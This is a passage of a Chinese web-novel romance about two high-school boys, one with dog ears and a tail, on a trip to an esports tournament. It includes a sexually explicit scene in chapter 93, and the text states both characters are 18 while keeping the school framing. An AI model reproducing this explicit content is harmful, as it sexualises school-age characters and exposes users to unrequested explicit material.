沙发旁靠着的那位黑衬衫小伙欲言又止,为了防止又被内涵不正经,默默再次闭上了嘴。 综上所述,韩季京在放假这段时间日夜苦读,结合看小说的个案分析法,深刻研究人类亲密关系的动态演变过程,基于社会心理学中的“接触理论”与“情感转化模型”,觉得自己已经彻底掌握了谈恋爱的诀窍。 喻修越把那些书合上扔到一边,书本与茶几碰撞发出沉闷的声响。 他对上韩季京的视线,对方保持着跨坐在腿上的姿势,又在话语间近一步移动到腰腹,势必要在沙发一角把他圈在自己手臂里。 从下方看过去,宽松的衬衫完全盖不住胸口有型的鼓起,喻修越目移一瞬,言简意赅:“你不累吗?” 韩季京目光坚定地摇摇头。 “我这样没有侵略性吗?我这样不帅吗?”他觉得自己已经和小说里的那个一八五体育生动作百分百复制了,不满地说,“显眼包,你怎么不闭上眼等我亲?” 喻修越推了下眼镜,伸手勾了下他衬衫下的白色运动背心,狐疑着转移话题:“你是不是最近又吃胖了?” “有吗?”韩季京顺着他的手低头,纠结道,“我最近一天只吃了一个蛋糕,十个饼干,已经很少了耶……” “快递你拆了吗?”他纠结了一秒就懒得纠结,反正再胖也胖不到哪里去,既然发育是正常的,那其他地方又没有多添肉。 心里想到表哥寄给自己的票,韩季京眼睛一亮:“我就要开始收拾东西了!” 时间安排和之前预估的不太一样,期末考试结束,韩季京上完暑期补习课不用请假,就阔气地拥有七天假期去看表哥的比赛。 机票爸爸已经帮忙买了,就在后天,去一个月当旅游,再回来好好上课,来回和喻修越一起父母也很放心。遗憾的是,另一个说要一起去的秦皓璜要在英语补习班度过这个暑假。 “简直太完蛋了。”韩季京如此评价,可惜又幸灾乐祸地摇摇头。 喻修越无所谓地点点头,刚刚还坐在自己身上的人兴致高昂地弹跳起来,没几秒就变成小狗撒欢地不见狗影,大耳朵一跳一跳,可能已经一头扎进衣柜里去闷头刨衣服。 让比格京收拾的话东西只会乱塞乱放,场景比诺曼底登陆还要一塌糊涂,带的不带的都不一样,为了避免发生只带了三条不一样颜色袜子、行李箱全塞满不能过夜食物的情况,他在韩季京收拾完后都会再收拾一遍。 卧室方向传来“咚”的一声闷响,听着里面翻箱倒柜的声音,喻修越慢悠悠地站起身。 他翻了几页茶几上封面简洁的小说,简单看了一遍,听到韩季京“找到了!”的欢呼,神色波澜不惊的挽起袖子。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 世界赛的开幕式早在半个月前就已落幕, 韩季京刚好能赶上三天后HWD战队的一场关键淘汰赛。 他和喻修越下飞机是当地下午四点,炽烈的阳光透过航站楼的玻璃幕墙洒进来,晃得人睁不开眼。 韩季京举着手机, 镜头扫过身旁的喻修越,又转向机场熙熙攘攘的人群。他和父母打视频报完平安,挂断电话后站在接机口张望了半天, 在一堆举着各式接机牌的外国面孔中,愣是没找到说好来接机的表哥。 久远的记忆逐渐浮上来,喻修越永远忘不掉那年十岁, 韩城信誓旦旦说要带他和韩季京去看最新上映的动画电影, 结果电影开场十分钟,这位不靠谱的表哥问完他们想吃的东西就再没回来,留下两个小孩看完后在影院门口等他整整一个下午。 “你确定他记得是今天?”喻修越压低声音, 指尖摩挲着行李箱拉杆,已经琢磨着要去播报机场寻人广播,让韩城再体会一下当年抬不起头的尴尬。 韩季京一边打字一边回话:“你不是还联系代乐姐姐……” “没点心——!” 韩季京闻声抬起头,看见自家表哥韩城顶着一头乱糟糟的栗色卷发, 身上套着件皱巴巴的外套就站在那里, 看得出来步伐匆忙,还像是睡过了头。 喻修越看了眼表, 又看了眼表哥,再看了眼表。 韩城几步走过来, 一把搂住韩季京就开始揉他头发,连带着喻修越的也一起揉,呵呵道:“你小子什么眼神?!长大了怎么还更看不起人了,知不知道这个点我们职业选手刚起床很正常?!” 韩季京揉了揉自己乱糟糟的卷毛,举起手机拆穿他:“代乐姐姐说, 你们队内规定十点要起来锻炼……” “你这年纪怎么也叫姐,”韩城面色凝重地当听不到,“我都是走在路上当人家叔的年纪了…” 喻修越歪头后退一步,忍不住伸手替韩季京理了理被揉乱的衣领,比成年人还要稳重地接话:“要不先回酒店。” “年轻人就是腻歪,”小动作被韩城捕捉到,他没多思考,只是感叹起来,“自从队内公主下嫁,队内就日渐唏嘘啊。” “你们来得正好,后天那场淘汰赛绝对精彩,诶心多鱼你玩不玩游戏?晚上要不要跟没点心来基地参观?投资方送了几个多余的设备……” 上车后韩季京往喻修越身上一倒,玩了会儿手机,又凑上前去整个人扒住韩城的座椅,露出一个脑袋问: “表哥表哥,基地真的可以随便进吗?之前的游戏周边你还有没有执政官的?那位漂亮姐姐来了吗?能不能帮我拿几个人的签名诶,我想回去带给同学。酒店订的几人间耶,是在你们楼下吗,我想和男朋友住在一起,妈妈说我这次可以来一个月,然后我还想去景点逛一逛,顺便,哥你是不是今年二十七了来着?” “……” 车厢里突然陷入诡异的沉默,韩城握着方向盘的手微微发抖,他从后视镜里看了表弟一眼,悲壮道,“二十七怎么了,等我明年退役了回家要你好看。” “等等,不对。”他突然一个激灵,猛地打方向盘靠边急刹。 轮胎摩擦地面发出刺耳的声响,在后视镜里,他看到后座的喻修越下意识伸手护住惯性往前栽的韩季京。 韩城回头瞪眼:“什么男朋友?” 在他的目光中,喻修越露出一个无可挑剔的模范乖巧微笑:“哥 ,是男女朋友的男朋友。” 这一声“哥”叫的韩城头皮发麻。 半小时后,和队长请了半天假的二十七岁大龄网瘾青年手指发白,他颤抖着紧握小黑车的方向盘,载着自己十八岁的表弟跟表弟的男朋友一路直达酒店。 除了在听到邻居家被自己夸了几千遍的好学生荣升表弟夫时神色扭曲一瞬外,韩城对一切都接受良好,一边哀嚎“队友大了不由我”“孩子大了不由哥”,一边调大音乐音量猛踩油门。 小时候一脸冷静的喻修越对韩季京的不同似乎有迹可循,而韩季京见了人就不要哥的双标向来明明白白,韩城不由得越想越气抖冷,心想这外号自己真没起错。 心多鱼,全称心眼贼拉多的喻修越。 没点心,嗯,字面意思,韩小点心你可长点心吧。 他拿出根烟叼在嘴里,没点,只是靠在石墩子旁望着二人进酒店的身影发呆。跟敌对战队队长从松闵出去买关东煮的庄路弥路过说他“真提前老年痴呆了?”都没能让他回神。 直到联系人里标着女友的电话响起,韩城才反应过来,接听电话,刚想对女朋友控诉自家表弟和表弟男朋友,又觉得这一幕好像有些过于似曾相识。 到底哪里相似…… “你之前吐槽牧神也是这样。”女友如是提醒。 半秒思考后,韩城表情更允悲了。 在前台登记后领了房卡,韩季京三步并作两步地跳上喻修越的背,环住他的肩膀,手臂一收开始报数:“显眼包,我做了功课!我们一会儿先去后面的小吃街,有一家特别好吃的泰式鱼丸!博主说它的辣椒酱每次去都是现捣的……” 喻修越早已习惯走路时被他勒住:“你会被辣哭。” “……还有十字路口的冰淇淋店,土耳其烤肉卷…这边有家隐藏版的餐馆,老板做的麻辣香锅听说一绝……”韩季京一箩筐报完想吃的东西,想了想说,“辣的话我只吃一点就好,剩下的给你不就好了。” 喻修越笑了下:“那我不喜欢吃呢?” “不喜欢吃的给我就好了,”韩季京很自然地接话,“我没有不喜欢吃的。” 你给我我给你,形成了一套无懈可击的闭环逻辑。没有纠正,喻修越也没有再说些什么继续让韩季京闭环下去,将话题引到一些附近出名的景点。 韩季京的艺术细胞几近没有,对礼堂博物馆这类东西一向没有什么兴趣。但来都来了,不参观一趟的话有点亏,反正去哪里都是用脚,那就到处都走一走。 “那显眼包,我们明天去博物馆好不好?”韩季京在行李箱里狗刨出两件颜色鲜艳的衣服,再把随身携带的暑假作业扔到地上凝视。 满打满算不到一个月的假期,老师们到底为什么要布置这么多……是写一点撕一点,还是省略过程直接照抄答案?韩季京盘腿坐在地板上认真思考。 如果是喻修越的话,就算白白地交上去给老师说“因为很简单看一眼就会了,所以只写了结果”也没关系,但是他不行,他偏科太过严重,交空白作业会被制裁。 就像刚刚在酒店办理前台业务,喻修越交流流畅的就像是在国内,而他只能听懂,口语对话简直比秦皓璜还要完蛋。 “可以啊,”喻修越从卫生间走出来,随手将洗漱用品的包装袋扔到门口的垃圾筐,“在那里也能买点伴手礼,刚好挑点东西给他们带回去。” 他出来得太慢,韩季京几分钟前就再换了个行李箱翻,直接把化妆包里的瓶瓶罐罐全倒在了地板上,指尖拨弄着散落的物品,突然皱起鼻子念念有词道:“还得买卸妆水……” 这次出来玩的衣服他刚一件一件翻完,除了那条他宝贝一样压箱底的橙色机甲风短裙,其余衣物全被喻修越替换了一遍,不是半身裙就是连衣裙,那意思就是里面不存在喻修越不喜欢的款式。 思维畅通,韩季京忽然狡黠地眨眼,仰起脸看向正在整理衣柜的喻修越:“我一会儿穿哪件诶,好难选哦显眼包——” 喻修越一件一件把地上揉成一团的衣服摊开放进衣柜,随口回答:“你想穿哪条?” “我不知道耶……”他含糊地拖长了尾音,手指勾住其中一件衬衫的吊牌,纠结道,“显眼包,你觉得哪件好看?” 晚上韩城还要来接他们去吃饭,一想到韩城一会儿一见面表弟大变表妹,韩季京坏心思泛起来,清清嗓子,清朗阳光的少年音稍微夹一下就分辨不太清楚,用伪音技巧很轻易模糊掉性别边界。 既然喻修越没有选出他最喜欢的,那——韩季京闭眼睛随手抓了条,眼睛一亮:“就这个了!” 他把要穿的衣服扔到床上,找了半天不知道被扔到哪的手机,回复完前不久的那条定位朋友圈评论,又退回界面打开群聊。 几小时而已,秦皓皓在四人小群里一个人倔强地刷屏了99+,看得出来英语1v1强训家教对他而言苦不堪言,而韩季京的那条朋友圈更是给予他心头最后一发重击。 邱扬北呵呵回复:【@宇宙无敌暴王龙战士 你再这样刷屏,本群主真的要控制你了。】 我有一双透视镜:【我也在补课啊岂可修!你以为这个糟糕的世界里只有你一个人在承担苦痛吗?!】 我有一双透视镜:【(出警.jpg:wen儿哦wen儿哦)】 补课好啊都在补课,全世界都应该一起补课。 小心地滑:【我曾经也想过一了百了去补习英语,但是奈何这次过了一百,实在是实力不允许啊兄弟萌……(孤傲且萧条的背影.jpg)】 发完这句话韩季京就忍不住笑,他跳起来扑到床上滚了两三圈,最后拿起喻修越的手机用指纹解锁。 知识滑坡:【(菜就多练.jpg)】 “又在乐什么,”喻修越若有所思,扫了眼地上的暑假作业,又看到韩季京捧着自己手机傻狗一样只顾着乐,立刻反应过来,“秦皓璜发什么了?” 韩季京得意地哼哼几声,再说几百遍也不会腻,微微提高声调:“就是期末考试,他英语四十三啊……” 几分钟后,提示音清脆响起。他举起手机一看,秦皓璜只留下一句绝望的悲泣就在主页挂了微信上那个摸不着头脑的繁忙状态。 宇宙无敌暴王龙战士:【哪怕我倒在补课的血泊里,双目泣血,也要用最后的力气举起颤抖的手——】 宇宙无敌暴王龙战士:【求求了——记得给我带池神的签名照!!!(跪地痛哭.jpg)】 第92章 秦皓璜手颤抖与否尚且不知道, 韩城握着烟的手是真的开始颤抖了。 这位电竞圈著名的打野镇定地将电子烟叼进嘴里,突然有那么一瞬间理解了那些二十五岁黄金期一过就光速退役的前辈。 他也觉得自己是真的该退役了,职业选手金贵的手在今天遇到韩季京后, 短短几小时内竟然不禁颤抖了整整两次。 二十分钟前,邪恶的从松闵在职业大群艾特他说“你妹真好看”的消息还显示在手机屏幕上,他看了又看, 想了又想,目前为止还仍然懵逼。 庄路弥在群里大肆吐槽他说你小子不够仗义,WQG打野在后方疯狂煽风点火, 底下是一堆熟人后辈跟风的调侃, 韩城觉得自己只是回去补了个觉而已,怎么就有点摸不着头脑。 骂人?也不像啊,又不配个图。 而且他哪来的妹?他们老韩家这一辈的族谱他倒背如流, 除了他这个二十七岁的大龄网瘾青年,就只剩那个刚被他接到酒店的小混蛋。 嘶—— 这么一想…… 韩城秒速按电梯下楼,敲房间门没见里面有反应,立刻脚下生风地赶到伍于起他们消息里叙述的遇见地点。 路上手机震动不停, 他挂了一堆退役后闲得蛋疼的好友打来的微信电话, 到场再毫不留情地拒绝掉想跟着一起来蹭饭的庄路弥几个,此时此刻, 孤独地一个人对着对面“表妹”眨眼睛喊“哥”的无辜面容太阳穴直跳。 诚然,一般来说韩城绝对是最喜欢看热闹的那一个, 嘴贱的造诣庄路弥都自惭形秽,作为正儿八经的起哄王,不错过任何一场乐子是他社交自带的被动技能…… 可问题是,这次的话题源于自己这里。 对面两颗毛茸茸的脑袋凑在一起研究全外文的菜单,喻修越正指着形状扭曲的单词低声讲解, 韩季京时不时发出恍然大悟的应和声,末了,眨着毫不掩饰的星星眼崇拜道:“显眼包,你好厉害哦!” 眼看着喻修越那张乖巧的好学生脸就要风轻云淡地勾起唇,韩城立刻状似严肃地咳嗽一声,试图展现出自己属于长辈的威严。 韩季京咬着奶茶吸管抬头:“哥,你怎么了,要不要喝点热水?” 好温暖的一句话,白炽的灯光恰好倾泻在韩季京优越的面容上,将那张脸镀上一层近乎虚幻的柔光。 被温暖到的韩城从上到下将他审视了一遍,在心底啧啧称奇:该说不说,真不愧是老韩家养出来的崽,怎么看这张脸都没有任何缺点,三庭五眼的比例堪比游戏建模,线条干净利落,连下颌转折的阴影也恰到好处。 除了身高高了点外,外表完完全全就是个漂亮的女生。可转念一想,现在平均身高向上提高了几厘米,正常走在路上遍地是一七五,韩季京哪怕穿个恨天高获得一九零的成就也完全没什么大碍。 见他观察自己,这张脸的主人还故意眨巴了下眼睛,纤长的睫毛像小扇子似的扑闪。歪头时,微卷的发尾扫过缀着碎钻的锁骨链。 “……!” 韩城研究三分钟无果,只得在沉默中给自己倒了一杯苦涩的茶水压惊。 有个妹也不是不行,韩城45度仰望餐厅顶灯。 还记得十四岁那年自己偷偷在日记本上写生日愿望,就是想要有一个妹妹,然后成为她心中无所不能的最强超人。这个幻想出来的妹妹文静可爱,会跟在身后软软喊“哥哥”,平地摔倒磕到膝盖会哭着求抱,被坏小子欺负了还会揪着自己的衣角躲到身后。 奈何现实里比自己小的只有皮的上房揭瓦的比格京,这个无法无天的小混蛋恶名远扬,将不是人的本性发挥到了极致,在外还算懂事,在内是真霸王转世,家里的人就算被他气的睡不着仍然舍不得训斥。 韩城面对他也要投降,决定放弃在这个话题上纠缠:“你们明天去哪玩?” 观摩够了表哥五彩缤纷的好玩表情,韩季京咬了口炸虾,舔掉嘴角的酱汁,含糊回答:“博物馆。” “想去那买点礼物,”喻修越很有素养地接话,“或者有没有什么其他的地点推荐?” “我想想……这地方的东西都是些昂贵小废物,我来了还没怎么去过,”韩城思考了一下,“一会儿我问问其他人,他们肯定都去过。” 一顿饭结束才晚上十点,韩城要回酒店补直播时长,问他们:“四处逛会儿,还是我送你们回去?” “打算四处逛逛,”离得不是很远,更何况有个人还化了妆,喻修越从对着小镜子补妆的人那里收回视线,点点头回答,“走回去好了,夜景也很好看。” 夜色渐深,街灯将两人的影子拉得很长,在沥青路面上交叠在一起。街边有零零散散的歌手在弹着吉他卖唱,路过广场时还碰到有一群青年在进行滑板比赛,轮子摩擦地面的声响与欢呼声此起彼伏,听得韩季京也有点心痒。 不过心痒归心痒,他身上穿的是件堪堪过大腿根的牛仔超短裙,真要去滑滑板的话,下一秒就要被身边这位拽住衣服说不能走光。 他索性抱紧喻修越的胳膊,手指在手机屏幕上划拉着打字,几分钟后拽拽他:“再走八百米有个小吃街耶,显眼包显眼包,我们去那里吧!” 喻修越“嗯”了声,又侧头看他,语气古怪道:“还没吃饱吗?” 不用他说,韩季京也发现自己最近吃得越来越多了。而且他一向喜欢吃高热量的甜点和炸物,就形成了现在这样不长个子光长肉的状态。 他指尖无意识地掐了掐自己的脸,又揉了揉小肚子,没感觉自己有变胖。正想习惯性地往胸口探去,突然意识到这是大庭广众之下,站在原地磨蹭了一会儿,沮丧地拖长尾音:“那我们单纯去逛逛,好不好嘛?” 家族群里,韩城刚刚将ID从“牢记HWD没有第六个人”改成了“老韩家没有这个小子”,下方配了张韩季京穿着女装的模糊侧影: 他穿了件松松垮垮的白色单肩罩衫,左侧衣领慵懒地垂落,露出半边精致的锁骨线条和圆润的肩头。明黄色的背心肩带斜斜挂在右肩,下摆在腰线处收紧。下身那条水洗做旧风的超短裙层层叠叠,衬托出一双比例逆天的大长腿。 妈妈评价这一身搭配得很好看,韩季京诚实地回她说是喻修越搭的,但是配饰都是自己选的,头发造型也是自己做的,他简直是搭配小天才! 得意的神情还没维系半分钟就被长肉的现实打败,韩季京下意识抱紧喻修越的胳膊蹭了蹭,内衣只是从运动背心换成海绵垫,手臂就轻而易举地被夹在中间陷进柔软的弧度。 他眨眨眼睛,有些心虚:“应该…不是我的问题吧……?” 期末结束到现在的这些天,韩季京发现胸口的异样感正悄然消退。衣料摩擦时渐渐不再发痒,睡醒后奇怪的液体也没有溢出。喻修越翻阅了几十本医学资料,说可能是身体二次发育完成,对应人类身体性成熟阶段,正式进入成熟期。 然后会怎么样,好学生只是扶了下自己的黑框眼镜没有说话。谨慎思考后,蹦出几句都变成人了应该不会,毕竟没有现成的资料可以回答韩季京身体的变化,而他只是个普通高中生,又不是专业学医的。 “你的性别可能有问题?”面对韩季京的问话,喻修越总不可能这样回答。 他若无其事地侧头看他,咽下几欲脱口而出的判断,半晌开口问:“还觉得饿的话,去小吃街看看有没有冰豆花?” 路过的公交站牌贴着《契约计划》的赛事宣传活动图,马路对面,两座摩天大楼的玻璃幕墙外墙上,世界两大皇家战队HWD和ZKS的巨型LED联合应援大屏正在交替闪烁。 浸染在橙色与红色变幻的光影里,韩季京抬起头,大荧幕在分别播放为期三分钟的循环视频,里面展现着无数个高光时刻。 左侧屏幕里,韩城熟悉的面容在特写镜头下一闪而过,右侧屏幕则快速切换着下午那几个偶然遇见的选手,他们或笑或闹的动态被剪辑进高燃集锦。 而当画面最终定格,HWD战队的王牌选手身穿橙色队服,神色却冷冽若川,仿佛连荧幕外的空气都凝起霜色,而ZKS战队的那位扬着下巴,唇角抹层肆意嗤笑,红金色调的光晕在他周身跳跃,像一团永不熄灭的野火。 韩季京看了会儿,感觉心底的那团火都要跟着一起燃起来,电子竞技也是工作,他没忍住问:“显眼包,你打算报什么专业?” “总之不会考教资。” 喻修越嘴角扯了下,他仍然对那本《喻教授别想逃》耿耿于怀,老师和医生这两个行业他毫无兴趣:“航空航天,或者机械工程。” “喔,有没有什么不用学英语也不用做实验的专业……”韩季京鼓起腮帮子。 他揉了揉自己一头蓬松的卷发,想到物理老师绝望的地中海,不由得打了个颤:“如果我和物理死磕的话,会变秃吗?” 喻修越盯住他头顶翘起的一撮呆毛,笑了下说:“不用担心,小狗不会掉毛。” 八百米慢走十三分钟,目的地离酒店半小时。 韩季京吃完冰豆花就困,犯困就一点也不想走路,失去任何活动的激情。他趴在喻修越背上缠着让他背自己走,圈住对方脖颈,迷迷糊糊的像是要睡着。 脸颊贴在对方后颈上,鼻尖蹭到一点湿热的潮意,韩季京用脑袋蹭了蹭,含糊地嘟囔:“显眼包,你身上好热诶…” 他的嘴唇无意间擦过耳垂,豆花的甜味还残留在呼吸里,喻修越托着他膝弯的手稍微松了力道:“我也好热诶,那你下来走路?” 韩季京连忙用腿圈住他的腰,打定主意要埋头装死,过了一会儿又哼唧道:“好累哦,我们明天借辆电动车吧,自行车也可以……” 话说出来,他又想了想,自己一觉起来可能都不屑于骑自行车,直接撒欢着就跑,索性闭上嘴不说话了。 他跟树袋熊一样挂在喻修越背上,能清晰地感受到对方因用力而绷紧的肌肉线条。光裸在外的大腿被碰触到就发烫得厉害,连脸颊都一起烧起来。 韩季京没忍住再贴紧了点,像一颗固执的、耍赖的牛皮糖,融化后黏糊糊地粘在一起,最后听见夜风中传来自己杂乱的心跳。 他在背上胡乱蹭了蹭,柔软的曲线隔着单薄的衣料紧密相贴,在皮肤间摩擦出微妙的温度,又伴随着一阵发麻的触感。 喻修越呼吸明显滞了一瞬:“你困了吗?” 韩季京有些不确定:“我感觉,有点热热的?” 第93章 这当然不是什么类似于“你吃了什么热热的东西”之类的无厘头傻13段子。 科学层面来讲, 它只是一种身体发育完成、与两情相悦的对象亲密接触后的正常现象。 喻修越两个月前十八岁,而法律规定国内不论男女十八岁成年,成年这方面仅指示年龄, 和其他方面没有任何联系,那跟年龄存疑的、无辜的比格京小狗就更没有关系了。 高中生韩季京说“我感觉有点热热的”,是真的浑身都热热的。这种由内而外蔓延的灼烧感让他晕头转向, 像是发烧了一样头脑不清醒,如果按十八岁算的话,那意思是他生理成熟期即将到来。 这预示着韩季京即将走向人生的新发展篇章, 开启下一阶段的美好生活。意味着他的身体机能正在完成最后的成熟蜕变, 将开始探索更丰富的情感体验和人际接触关系,这是生命自然生长的必然过程,正如春日里抽枝展叶的树木, 不仅是荷尔蒙作用的自然结果,更是一个年轻生命即将绽放的预告…… 好吧,简单来说,他发-晴-期快要到了。 喻修越几天前未曾说出口的猜测在这一刻变成回旋镖扎了回来, 韩季京蹭了蹭他的肩窝, 一回房间就倒在床上瘫成一块扁扁的小狗饼。 “其实不太热…”韩季京睁开半只茶红色的眼睛,语调黏糊得像是含了一块融化的麦芽糖, “显眼包,我就是好想睡觉诶, 但是妆还没卸,但是一点也不想动,但是我睁不开眼睛……” 喻修越停顿了下:“那你睡觉?” 手机上显示的时间才过十一点,距离他平时的睡眠时间还有整整一个小时。喻修越正思考着,床上的小狗饼突然一个激灵坐直身子, 不到一秒,又像断电的小机器人一样直挺挺倒了过来。 喻修越伸手接住他,对着这张富含胶原蛋白的脸蛋观察几秒,从一旁乱七八糟的床头柜中找出卸妆湿巾。 “唔…” 小狗话语的尾音渐渐消散在寂静的空气里,他毛茸茸的脑袋稳稳埋进喻修越的肩窝,几缕不听话的碎发乱翘着,“砰”一声出现的扇形大耳朵安安静静地落在脸侧,随着平稳的呼吸轻轻颤动。 喻修越帮他摘了发夹,指腹擦过他眼尾残留的亮片,卷曲的睫毛有些过长了,上面残留的眼影细闪在灯光下泛着细碎的星光。 手下的肌肤温热细腻,能感受到轻微的血脉跳动,喻修越的指尖陷入韩季京的颊边软肉,被挤压的唇瓣因被卸妆湿巾粗暴抹过而显得格外红润,泛着水润光泽,正微微张着吐出水润的气息。 整张脸全部卸干净后,他坏心眼地用了点力,看到那睫毛下一秒就急促颤动起来,被捏变形的脸颊有了点婴儿肥,韩季京不满地抿了抿唇,精准地一口咬住他的手掌虎口。 喻修越开口评价:“咬人的坏小狗。” 咬人的茶红色狗饼慢半拍伸出舌尖,像犯错后讨好主人的小动物般,轻轻舔了舔自己刚刚咬过的地方。 湿润的触感一触即离,韩季京飞快地把脸埋进枕头里,脖颈处还没有摘下来的项链闪过一道银白,只露出乱翘发梢里通红的耳尖。 黑色的尾巴从超短裙下方翘起来,在空气中左晃右晃,韩季京把自己的头埋在枕巾里,几分钟后毫无困意地坐了起来。 他静静凝视着喻修越,在对方侧身扔垃圾时忽然伸出手,手臂一勾,借着惯性猛地将毫无防备的人整个按倒在床垫上。 床头的灯控开关被脱手的纸团砸中,一片漆黑中,喻修越白色的衬衫在动作间扬起,韩季京屈膝压上床垫,长腿一迈跨坐在对方腰腹,牛仔短裙的金属扣正好硌在紧绷的腹肌之上。 猛然翻转,喻修越抬手捏了捏偷袭者毫无遮挡的腿根,语调丝毫未变:“怎么…?” 偷袭的小狗张开发烫的掌心,按压住身下这人坦荡的胸膛,几秒后反手向后方摸索,碰到冰冷的金属拉链。 他回神似的愣了一下,不满地甩了尾巴,超大声反驳道:“你才是坏小狗!” 喻修越弯弯眼眸,镜框下的眸瞳蕴着浅淡笑意:“那如果我是小狗的话——” 他还想说些什么,他的眼睛也会说话。 韩季京用双手盖住这双温柔的水色宝石,细微的痒意从接触的地方爬入神经。 喉结在滚动,指尖在发烫…他后知后觉发现自己浑身再一次开始升温。大腿侧喻修越的手径直向上,途经形状分明的腹肌,最终停留到皮肤下跳动的心脏。 那只手与他的身躯隔着两层薄薄的夏季布料,向上推开碍事的海绵,根本阻隔不了体温的感触。 俯视的角度让他能完完全全看清好学生未被盖住的唇瓣,色泽健康,说话时还勾着笑,有点想咬一下的冲动,韩季京塌下腰,觉得味道和吃完蛋糕后一样的甜。 他弯曲手指勾住对方的黑色镜框,想随地乱扔,又怕喻修越没有第二副眼镜戴,只得直起身,伸长手臂将眼镜安安稳稳地放在一旁的床头柜上。 这个动作让他的胸膛贴近身下人的锁骨,单薄的衣料根本遮盖不住那份过分的柔软,直挺挺的贴住好学生的皮肤。 之前受到刺激——的-正好蹭在对方颈间突起的圆润骨骼,触碰时迸出一阵短促的呼吸。 隔着那层被蹭得凌乱的衣料,他忽地低头。 气息透过湿润的布料渗透进来。 韩季京浑身一颤,瞳孔骤然收缩。他无意识地咬住舌尖,却压不住喉间溢出的呜咽。 手指猛地扣住喻修越的肩膀,分不清是要推开还是按得更近。 和之前发育期被帮助时的、类似于难耐的心痒感完全不同,韩季京本就无法思考的大脑“嗡”的一声断线又重连,才发现牛仔短裙的金属扣不知道什么时候早已崩开。 他骤然收拢双腿,膝窝内侧紧紧卡住喻修越的腰际,听到皮质腰带与裙摆金属饰链碰撞出细碎的声响。 对方的另一只手在这时沿着躯体线条突然下滑,韩季京膝行着后退,短裙的布料被尾巴顶地皱起,他下意识弓着腰退坐到对方腿上,膝盖冷不防硌住冰凉的纽扣。 喻修越抬起头,扯了下他的上衣,反应过来单肩罩衫原本就遮盖不住肩膀,若无其事地收回手,笑了下,语气带着点疑惑:“不困的话……不是要睡觉?” 韩季京眼眸湿漉漉,无意识地摇头甩耳朵,跟读着吐出两个字:“……不困?” 环住他腰际的手腕在问话间下压,两人身形交叠的位置丝毫没妨碍他的动作,喻修越保持着这个姿势将人压到自己怀里。 “那是又想让我帮你?” 这个词用的过于奇妙,帮的话就意味着自己还需要还,韩季京糊在一起的大脑罕见地清醒一秒,他用力直起身体,尾巴在后方四处拍打,将床单扫出凌乱的痕迹。 韩季京愣了愣神,揪住身前这条刚刚没有拉开的金属拉链,滚烫的温度隔着布料都让狗觉得后颈发麻。 胸口后知后觉传来的微妙触感,他张了张嘴,喉间溢出几声含混的咕噜声,索性一口咬住喻修越的喉结。 “我也可以帮你。”韩季京松开齿关,舌尖舔过那个泛红的牙印,声音里带着罕见的认真。后方裙摆下四处乱动的尾巴高高翘起,颇有些迫不及待的含义。 他指尖勾住拉链下拽,缓缓向下滑动时,猝不及防触到令人发愣的东西。 第一反应是触电般想缩回手,顿了顿,掌心接着完全贴了上去。 尾巴再短一点就会炸成蓬松的毛团,连带着手掌一起在灼热的皮肤上微微发抖,韩季京的耳尖烫得要命,看到自己的手指正在本能地收拢。 喻修越的指尖深深陷入他黑色的卷发间,微微用力一扯,像是收到指令一样,韩季京立刻像被按下开关的玩偶,条件反射般直起腰身,本能地调整姿势。 他跪坐在那里。 喻修越思考起来:“这算不算是坏小狗……” 韩季京不满地磨了磨牙,状似张牙舞爪地露出犬齿,膝盖却诚实地往中间收拢。 他将对方的身体固定在自己的两膝之间。 黑色的卷发在动作间晃动起来,有几缕黏在汗湿的颈窝,像蜿蜒的墨迹,和脖颈处的银链叠在一起—— 的大腿早已习惯越来越快的节奏, 韩季京用脑袋蹭了蹭他的掌心,混着紊乱的呼吸,如同被撸舒服的小动物般发出甜腻的泣音。 裙摆行动间被卷到腰间,布料早已被蹭得歪斜。 对方带着薄茧的指腹擦过上身泛起红晕的地方,紧接着,冰凉的银色吊坠划过他的胸口。 下一秒,嘴唇取代了项链的位置。 韩季京模模糊糊睁着眼睛,张开嘴却说不出完整的话,只能感觉到项链随着动作在自己胸肌间晃动,满脑子只剩下触碰时躯体传达的温度。 “再摸摸我…” 快要融化的茶红色狗饼的声调带着微弱的鼻音,他抓着喻修越的衬衫领口,指尖将布料攥出深深的褶皱,黑色卷发凌乱地黏在汗湿的额头,甩来甩去的大耳朵甚至被微张的唇间咬住。 喻修越显然会错了他的意,握上乱动的尾巴,拇指沿着毛流缓缓上移,感受到掌下的身体仍然在细细发颤。 不管是胸口还是大腿,耳朵还是尾巴,结合在一起都太过于敏感。 一被碰触到就激起一阵剧烈的战栗,在冰凉的空气中有些过于可怜兮兮。 韩季京将脸埋进对方肩窝,大腿侧的皮肤更加紧密地贴上了对方的膝盖,眸瞳浮着氤氲的水汽,像是枫叶般被晕的更红了几分,唇齿间溢出幼犬般的低鸣。 喻修越的手指移动着,直到摸到尾巴根处不轻不重地一按。 韩季京的声调骤然变调,尾椎传来过电般的酥麻。 他慌乱地扒住床头,弓起背脊,仰起头时睫毛湿成一簇,唇上还留着自己咬出的齿印。 “等一下、显眼包……” 被掐住尾巴的后果实在是有点经受不住,韩季京用力抓紧他的肩膀,妄图止住喻修越再进一步卷起尾巴的举动。 但他的尾巴已经不属于自己,好像有了它独特的意识在四处乱动,自发地在喻修越的手掌上缠了一圈又一圈,想要得到更多的类似于这样的爱抚。 带着哭腔的抗议被挤压得支离破碎,韩季京下意识把他的手往自己胸前引,不让他再碰自己尾巴丝毫。 喻修越抬手抚过他泛红的眼睑,捻了下指尖沾染的潮湿,那双墨蓝色的眼眸如静谧深海,静静倒映着眼前人的面容。 在他的注视下,韩季京的呼吸开始急促地起伏,随着一声压抑的惊喘,胸口处又一次洇开深色的痕迹。 第94章 明明什么都没干, 困扰韩季京的难题又再一次重新回归。 奇怪的液体到底为什么会被泌出,这是一个需要深思的问题。毕竟这严重影响了他睡起来时心情,他觉得有点郁闷。 科学研究表明, 哪怕不实质性发生关系小狗也会出现假孕现象,那照这么说来,泌-ru算不算是其中的一种? 对于上述结论, 喻修越面不改色地评价道:“那这很恐怖了。” 韩季京也跟着点点头,慎重地重复道:“那这很恐怖了!” ——总不能是性别真有问题吧。 但这种需要深思的问题还是留给喻修越一个人慢慢纠结,无辜的小狗饼只需要思考今天吃什么就好了。 一觉睡到下午四点, 韩季京重新搭配了一套衣服出门。 白色涂鸦短袖、橙色卡通小狗连帽夹克, 再配一条绳织的复古项链,下半身是条咖色的修身裤裙,比普通裤子在腰侧处多了一片能扣起来的布料, 裤腿堆叠着耷拉在高帮帆布的鞋面上。 